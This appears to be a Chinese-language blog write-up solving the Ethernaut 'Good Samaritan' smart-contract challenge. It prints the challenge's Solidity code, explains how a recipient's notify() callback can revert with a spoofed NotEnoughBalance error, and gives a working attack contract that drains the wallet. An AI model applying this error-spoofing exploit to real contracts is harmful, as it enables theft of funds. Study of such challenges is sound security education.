抱歉,您的浏览器无法访问本站
本页面需要浏览器支持(启用)JavaScript
了解详情 >

Good Samaritan

1. 题目

  • 1.1 This instance represents a Good Samaritan that is wealthy and ready to donate some coins to anyone requesting it.

    Would you be able to drain all the balance from his Wallet?

    Things that might help:

  • 1.2 题目代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
// SPDX-License-Identifier: MIT
pragma solidity >=0.8.0 <0.9.0;

import "openzeppelin-contracts-08/utils/Address.sol";

contract GoodSamaritan {
Wallet public wallet;
Coin public coin;

constructor() {
wallet = new Wallet();
coin = new Coin(address(wallet));

wallet.setCoin(coin);
}

function requestDonation() external returns(bool enoughBalance){
// donate 10 coins to requester
try wallet.donate10(msg.sender) {
return true;
} catch (bytes memory err) {
if (keccak256(abi.encodeWithSignature("NotEnoughBalance()")) == keccak256(err)) {
// send the coins left
wallet.transferRemainder(msg.sender);
return false;
}
}
}
}

contract Coin {
using Address for address;

mapping(address => uint256) public balances;

error InsufficientBalance(uint256 current, uint256 required);

constructor(address wallet_) {
// one million coins for Good Samaritan initially
balances[wallet_] = 10**6;
}

function transfer(address dest_, uint256 amount_) external {
uint256 currentBalance = balances[msg.sender];

// transfer only occurs if balance is enough
if(amount_ <= currentBalance) {
balances[msg.sender] -= amount_;
balances[dest_] += amount_;

if(dest_.isContract()) {
// notify contract
INotifyable(dest_).notify(amount_);
}
} else {
revert InsufficientBalance(currentBalance, amount_);
}
}
}

contract Wallet {
// The owner of the wallet instance
address public owner;

Coin public coin;

error OnlyOwner();
error NotEnoughBalance();

modifier onlyOwner() {
if(msg.sender != owner) {
revert OnlyOwner();
}
_;
}

constructor() {
owner = msg.sender;
}

function donate10(address dest_) external onlyOwner {
// check balance left
if (coin.balances(address(this)) < 10) {
revert NotEnoughBalance();
} else {
// donate 10 coins
coin.transfer(dest_, 10);
}
}

function transferRemainder(address dest_) external onlyOwner {
// transfer balance left
coin.transfer(dest_, coin.balances(address(this)));
}

function setCoin(Coin coin_) external onlyOwner {
coin = coin_;
}
}

interface INotifyable {
function notify(uint256 amount) external;
}

2. 分析

简单分析各个合约的作用。

Wallet合约

  • transferRemainder() :将钱包所有金额全部转移给dest_,调用者为合约所有者。
  • setCoin():设置钱包中的货币地址,调用者为合约所用者。
  • donate10():默认向指定地址转账 10tokens,当余额不足时,则会抛出自定义错误NotEnoughBalance(),调用者为合约所用者。

Coin合约

其只有一个函数,仔细分析该函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
function transfer(address dest_, uint256 amount_) external {
uint256 currentBalance = balances[msg.sender];

// transfer only occurs if balance is enough
if(amount_ <= currentBalance) {
balances[msg.sender] -= amount_;
balances[dest_] += amount_;

if(dest_.isContract()) {
// notify contract
INotifyable(dest_).notify(amount_);
}
} else {
revert InsufficientBalance(currentBalance, amount_);
}
}

该函数实现了一个转账的功能,当转账金额大于调用者的余额时则会报错。

否则正常执行,但如果目的地址是一个合约,则会执行INotifyable(dest_).notify(amount_);,这是一个漏洞,一个安全隐患。

GoodSamaritan合约

分析函数

1
2
3
4
5
6
7
8
9
10
11
12
function requestDonation() external returns(bool enoughBalance){
// donate 10 coins to requester
try wallet.donate10(msg.sender) {
return true;
} catch (bytes memory err) {
if (keccak256(abi.encodeWithSignature("NotEnoughBalance()")) == keccak256(err)) {
// send the coins left
wallet.transferRemainder(msg.sender);
return false;
}
}
}

这是题目交互的合约,如果调用该函数返回NotEnoughBalance(),则会将剩下的金额全部转给调用者。当然这种情况在钱包余额不足的时候才会发送。但是前面Coin合约中有一个安全隐患,INotifyable(dest_).notify(amount_);如果该函数返回 revert NotEnoughBalance();便可以欺骗撒玛利亚人,让他乖乖的一次性将钱全部交出来。

不过值得注意的是,notify()函数不能直接抛出异常,因为在执行wallet.transferRemainder(msg.sender);中仍然会调用到notify()

3. 解题

攻击合约

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
contract Hack is INotifyable {

GoodSamaritan goodsamaritan;
Coin coin;

constructor(address _goodsamaritan) {
goodsamaritan = GoodSamaritan(_goodsamaritan);
coin = goodsamaritan.coin();
}

error NotEnoughBalance();

function notify(uint256 amount) external {
if (amount == 10) {
revert NotEnoughBalance();
}
}


function attack() public {
goodsamaritan.requestDonation();
require(coin.balances(address(goodsamaritan.wallet())) == 0, "wallet is not null");
}
}

通过实例部署攻击合约,调用attack()函数即可完成攻击。

评论



政策 · 统计 | 本站使用 Volantis 主题设计